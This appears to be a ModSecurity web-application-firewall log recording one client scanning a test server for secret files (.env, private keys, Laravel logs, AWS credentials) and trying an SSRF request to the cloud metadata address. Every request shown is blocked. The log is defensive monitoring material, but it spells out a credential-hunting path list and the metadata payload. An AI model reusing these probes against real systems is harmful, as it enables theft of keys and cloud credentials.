[Sun Jun 29 20:24:06.467737 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0gAAAAc&quot;]
[Sun Jun 29 20:24:06.558224 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl/private.key&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-1gAAAAc&quot;]
[Sun Jun 29 20:24:06.558601 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl/private.key&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-1gAAAAc&quot;]
[Sun Jun 29 20:24:06.558812 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl/private.key&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-1gAAAAc&quot;]
[Sun Jun 29 20:24:06.673791 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-2QAAAAc&quot;]
[Sun Jun 29 20:24:06.674139 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-2QAAAAc&quot;]
[Sun Jun 29 20:24:06.674328 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-2QAAAAc&quot;]
[Sun Jun 29 20:24:06.740264 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-2gAAAAc&quot;]
[Sun Jun 29 20:24:06.740632 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-2gAAAAc&quot;]
[Sun Jun 29 20:24:06.740830 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-2gAAAAc&quot;]
[Sun Jun 29 20:24:11.404454 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-2wAAAAc&quot;]
[Sun Jun 29 20:24:11.405584 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-2wAAAAc&quot;]
[Sun Jun 29 20:24:11.405798 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-2wAAAAc&quot;]
[Sun Jun 29 20:24:11.473266 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-3gAAAAc&quot;]
[Sun Jun 29 20:24:11.473500 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-3gAAAAc&quot;]
[Sun Jun 29 20:24:11.473677 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-3gAAAAc&quot;]
[Sun Jun 29 20:24:11.518427 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-4AAAAAc&quot;]
[Sun Jun 29 20:24:11.518679 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-4AAAAAc&quot;]
[Sun Jun 29 20:24:11.518871 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-4AAAAAc&quot;]
[Sun Jun 29 20:24:11.566857 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-4gAAAAc&quot;]
[Sun Jun 29 20:24:11.567096 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-4gAAAAc&quot;]
[Sun Jun 29 20:24:11.567288 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aGGEy6AIGT5SiqI9BxP-4gAAAAc&quot;]
[Sun Jun 29 20:24:13.728440 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2U_wAAAAs&quot;]
[Sun Jun 29 20:24:13.728875 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2U_wAAAAs&quot;]
[Sun Jun 29 20:24:13.729085 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2U_wAAAAs&quot;]
[Sun Jun 29 20:24:13.751317 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /tmp/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VAAAAAAs&quot;]
[Sun Jun 29 20:24:13.751574 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VAAAAAAs&quot;]
[Sun Jun 29 20:24:13.751770 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VAAAAAAs&quot;]
[Sun Jun 29 20:24:13.774249 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /tmp/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VAQAAAAs&quot;]
[Sun Jun 29 20:24:13.774538 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VAQAAAAs&quot;]
[Sun Jun 29 20:24:13.774744 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;aGGEzd8ZUWE-JFfvKe2VAQAAAAs&quot;]
